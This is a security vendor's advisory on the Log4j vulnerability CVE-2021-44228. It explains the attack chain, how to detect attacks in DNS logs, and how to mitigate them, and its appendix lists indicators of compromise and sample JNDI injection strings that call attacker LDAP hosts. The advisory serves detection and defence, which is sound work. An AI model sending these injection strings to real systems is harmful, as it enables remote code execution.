Author: Renée Burton and Christopher Kim
1. Overview
On 9 December, the National Institute of Standards and Technology disclosed a critical vulnerability in Log4j, which is a widely adopted logging software.1 This vulnerability is CVE-2021-44228, and it allows attackers to execute arbitrary code on a remote server. Because the vulnerability is easy to exploit, the global security industry immediately observed attackers in the wild and rapidly responded by identifying problems in software and mitigating risks. At the same time, attackers immediately began taking advantage of the vulnerability and have exploited systems worldwide.
We at Infoblox have observed multiple attacks via DNS; we are monitoring and updating our systems continuously. Out of an abundance of caution, we are adding all suspicious indicators to the blocklists for our customers.
2. Customer impact
Log4j is a logging utility built into many software applications, and organizations might not realize they rely upon it. When exploiting the vulnerability, an attacker executes code on a remote system and might be able to take control of or sabotage it.
The ease with which the attackers can distribute arbitrary malware through CVE-2021-44228 makes this exploit particularly dangerous. Exploits related to cryptocurrency mining have been reported in the industry,2 and we at Infoblox have also seen some exploitation via illegal DNS queries and have observed indicators associated with ransomware and information stealers.
3. Campaign analysis
Like other security vendors, Infoblox discovered attempts to exploit this vulnerability shortly after it was disclosed. Attackers are using commonly available vulnerability-testing tools to locate victims and are transmitting malware when a victim connects to a domain or an IP they control. The malware itself varies widely.
We have observed that illegal DNS queries are often triggered during the process. These queries contain not only the special characters necessary to exploit the remote system but, often, also the attacker-controlled domain or IP as well. Queries performed In the context of vulnerability testing might contain information about the scanned network as well as the vulnerability-testing tool. Although these queries do not resolve and do not create communication with the attacker’s infrastructure, they can indicate an ongoing attack or a previous compromise.
In particular, DNS queries that contain the substring “${jndi” are correlated with scanning for or exploitation of the vulnerability. By examining the logs of these DNS queries, we have discovered vulnerability scanning, attempted exploits, and successful compromises.
Like others in the industry, we are in the process of discovering and analyzing potential threats. We have noticed, for example, that the attackers are leveraging domains they have registered over the past two months. We have also learned that, in some cases, these domains have hosted some benign content, not just malicious content, and this has helped the attackers appear less suspicious.
4. Attack chain
The infection chain begins when an attacker sends a specially crafted HTTP request to a target system that uses Log4j. Next, Log4j creates a log entry by using the exploit string assigned to the HTTP user-agent header. The exploit string prompts Log4j to make a network request to the attacker-controlled server, such as an LDAP or HTTP server, via the JNDI: one of several lookup plugins available to Log4j. The JNDI plugin is particularly useful to attackers because it allows them not only to fetch the values of environment variables in the target system but also to freely define the URL and protocol resource for the JNDI network connection.3
5. Vulnerabilities and mitigation
These attackers are taking advantage of vulnerability CVE-2021-44228, which impacts all versions of Log4j <= 2.14.1. As a mitigation, we recommend that organizations upgrade the Log4j library to version 2.15.
For those who are using versions 2.10 to 2.14.1 and cannot upgrade to 2.15 immediately, we recommend, as an interim solution, disabling lookup actions for messages by setting the parameters to the following values:
- log4j2.formatMsgNoLookups=true (Log4j 2)
- LOG4J_FORMAT_MSG_NO_LOOKUPS=true (Log4j)
- kubectl set env LOG4J_FORMAT_MSG_NO_LOOKUPS=true (for Kubernetes clusters)
Alternatively, customers can remove the JNDILookup gadget by removing the JndiLookup class from the log4jar file, zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
We also recommend that customers and security vendors check their DNS logs for illegal queries that contain the string “${jndi”. This string might be anywhere in the query name and might be incomplete, but, in many events, it will contain elements of the attacker’s infrastructure. Connections to suspicious domains or IPs should be blocked.
Appendix
| Representative Indicators of Compromise | Description |
| 198[.]54[.]117[.]244
191[.]101[.]132[.]152 46[.]4[.]51[.]212 |
Suspicious IPs |
| distryp[.]com
dataastatistics[.]com dataanalysise[.]com |
Suspicious domains |
| 127.0.0.1${jndi:ldap://victim-information.rand-string.dataastatistics.com/help},\ 191[.]101[.]132[.]152
${jndi:ldap://10.0.0.1/test} |
Example illegal DNS queries (redacted) |
Endnotes
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
- https://logging.apache.org/log4j/2.x/manual/lookups.html
